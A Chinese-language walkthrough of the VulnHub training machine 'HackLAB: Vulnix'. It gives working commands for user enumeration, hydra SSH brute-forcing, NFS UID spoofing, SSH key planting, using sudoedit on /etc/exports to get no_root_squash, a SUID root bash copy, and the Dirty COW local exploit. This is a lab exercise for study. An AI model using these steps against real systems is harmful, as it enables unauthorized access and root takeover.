HackLAB: Vulnix


来源: vulnhub靶场-HackLAB: Vulnix

目标: boot up, find the IP, hack away and obtain the trophy hidden away in /root by any means you wish – excluding the actual hacking of the vmdk

提示: The host is based upon Ubuntu Server 12.04 and is fully patched as of early September 2012.

妙妙工具: python -c 'import pty; pty.spawn("/bin/bash")'

环境配置

kali: 192.168.110.130

target:192.168.110.132

信息收集

作者在网站中给了我们一些信息: Ubuntu Server 12.04, x86架构

nmap扫描可得:

nmap -A 192.168.110.132

22/tcp OpenSSH 5.9p1
25/tcp Postfix smtpd
79/tcp Linux fingerd
110/tcp Dovecot pop3d
111/tcp rpcbind
143/tcp Dovecot imapd
512/tcp etkit-rsh rexecd
513/tcp login?
514/tcp shell Netkit rshd
993/tcp ssl/imap Dovecot imapd
995/tcp ssl/pop3 Dovecot pop3d
2049/tcp nfs
  • 可能出现的信息泄露: smtp服务, finger, rpc
  • 可能利用的服务: nfs

全是没见过的, 我建议搜是什么和怎么利用

先来看看NFS: 通常结合Kerberos使用, 因为NFS 本身仅根据用户的UID/GID对用户进行身份验证; 一旦NFS文件系统被远程主机以读/写权限成功挂载, 每个共享文件的唯一保护就是它的权限

由于目标没有Kerberos设置, 因此只需找到经过身份验证以使用NFS的用户的UID和GUID, 并创建具有相同UID和GUID的用户即可访问所有允许的文件

我们需要登录/getshell才能收集信息, 所以我们分别使用对应工具进行信息收集

  • smtp信息枚举用的smtp-user-enum命令(我这个跑不出来不知道为什么)
# kali自带的字典
smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.110.132
# -M ---用于猜测用户名 EXPN、VRFY 或 RCPT 的方法(默认值:VRFY)
# -U ---通过 smtp 服务检查的用户名文件
  • finger命令
finger user@192.168.110.132

image.png

得到两个用户, 其中user的shell为/bin/bash说明可以登陆

  • RPC枚举
rpcinfo -p 192.168.110.132

和nmap差不多就不说了

  • NFS枚举与挂载
showmount -e 192.168.110.132
# 得到挂载目录如下 /home/vulnix *
# 那么我们现在就把这个文件夹挂载到我们本地

# 创建个挂载目录
mkdir nfs
# 挂载vulnix目录(记得用root权限)
mount -t nfs 192.168.110.132:/home/vulnix /tmp/nfs
cd nfs
# cd: permission denied: nfs

显示权限不够, 应该是设置了root_squash(后面读取配置, 确实如此)

此时共享已经完成, 接下来只需要创建一个用户具有相同的id与gid用户即可

getshell

已知用户名, 那就利用rockyou密码本爆破; 可以得到user密码为letmein

locate rockyou.txt
# /usr/share/wordlists/rockyou.txt.gz
hydra -l user -P /home/kali/Desktop/tools/rockyou.txt 192.168.110.132 ssh -t 4

ssh连接即可

ssh user@192.168.110.132
# letmein

信息收集

cat /etc/passwd
# 查看vulnix的权限
# vulnix:x:2008:2008::/home/vulnix:/bin/bash

用户名: vulnx, 用户权限2008, 在kali上创建这个用户

useradd -u 2008 vulnix
# 切换这个用户
su vulnix
cd nfs
# 执行命令
df
ls -a

ssh毒化

尝试ssh毒化(通过ssh写密钥来登录该用户)

SSH密钥毒化指的是通过在目标系统中注入恶意的SSH密钥, 篡改或伪造SSH公钥身份验证的过程, 从而获得对目标系统的访问权限

现在我们来写公钥来登录靶机的vulnix用户

# kali在root权限生成rsa密钥对
ssh-keygen -t rsa
cd /root/.ssh
# 复制公钥
cat id_rsa.pub

# 在共享目录下创建.ssh目录mkdir .ssh
su vulnix
cd nfs
mkdir .ssh
cd .ssh
echo '刚才id_rsa.pub的内容' > authorized_keys

# 查看/etc/ssh/sshd_config,发现配置项AuthorizedKeysFile是注释状态
# 下面这个是登录不了的,但是似乎不是配置问题
ssh -i /root/.ssh/id_rsa vulnix@192.168.110.132
# 最后发现是因为openssh的问题,我们需要加上参数
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /root/.ssh/id_rsa vulnix@192.168.110.132

image.png

提权

sudo提权?

sudo -l
# 回显信息如下:
User vulnix may run the following commands on this host:
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
# 可以以root用户身份执行sudoedit /etc/exports

cat /etc/exports
# 似乎是nfs的配置文件, 其中有这么一条
# /home/vulnix *(rw,root_squash)

sudoedit /etc/exports
# root权限编辑文件, 添加:/root *(rw,no_root_squash)
# 修改/home/vulnix那一条为no_root_squash
# 编辑方式为直接输入, ctrl+x退出,输入y然后回车即可保存

image.png

root_squash: 客户端的root用户映射到任何人; 客户端无法使用setuid位将恶意软件留给他人执行

no_root_squash: 通过此选项, 停用了此安全功能, 从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中

危害: 如果配置为no_root_squash, 远程 root 用户可以更改共享文件系统上的任何文件, 并留下被木马感染的应用程序, 让其他用户无意中执行。

现在重启靶机, 让配置更改生效;

为了防止你不知道为什么要像上下文这么做, 先解释一下:

如果我们直接从本地传给靶机, 那么我们的shell是64位的, 与靶场的32位环境不兼容;

如果是我们从靶场cp一个shell到他的挂载文件夹, 那么就是32位的, 因为那是他的原生shell; 但是这又会导致权限不足的问题, 那么我们再用root的kali把这个shell弄到另一个文件里, 那么因为是root执行的, 那么这个shell就会变成root

而修改配置, 可以让我们以本地root的权限进入到共享目录中, 实现下面的操作

showmount -e 192.168.110.132
# 在kali将全部挂载删除
umount /tmp/nfs
# 重新挂在到nfs目录下,此时本地root权限用户应该可以进入nfs文件夹
mount -t nfs 192.168.110.132:/home/vulnix /tmp/nfs

# ssh登录靶机执行
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /root/.ssh/id_rsa vulnix@192.168.110.132
cp /bin/bash .

# 在kali的root权限下进入nfs文件夹将文件复制一次再赋权
cat bash > test
chmod 4777 test

image.png

# 回到ssh登录的vulnix用户,以特权模式运行该bash
# 意思就是如果文件原权限为root,则特权模式下运行也为root
./test -p
id

image.png

关于 -p 打开特权模式

在此模式下, 不处理$ENV$BASH_ENV文件, 不从环境继承shell函数, 并且如果 SHELLOPTS、BASHOPTS、CDPATH和GLOBIGNORE变量出现在环境中, 它们将被忽略;

如果shell不等于真实用户(组)id的有效用户(组)id就会启动, 并且没有提供-p选项则执行这些操作并将有效用户id设置为真实用户ID; 如果在启动时提供了-p选项, 则不会重置有效的用户ID; 关闭此选项会导致有效用户和组ID设置为真实用户和组ID

给root写公钥

需要重启靶机(我们没有权限重启服务, 还是不如其他方法好)

sudoedit /etc/exports
# 这个地方修改为/root, 然后保存重启环境(前面已经改了)
showmount -e 192.168.110.132
# 这个时候就能看到root可以被挂载,然后我们直接挂
mount -t nfs 192.168.110.132:/root /tmp/nfs
# 然后再跟之前一样的写公钥利用SSH登录即可

dirty_cow漏洞利用

在kali搜索dirty cow即可拿到脚本40839.c, 编译后上传运行; 注意要同样的32位环境才能进行

searchsploit dirty cow
# Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Conditi | linux/local/40839.c

此脚本会将root用户典当为firefart用户!以firefart用户身份使用ssh登录: ssh firefart@192.168.110.132 打开/etc/passwd文件 将firefart更改为root 再以root登录 ssh root@192.168.110.132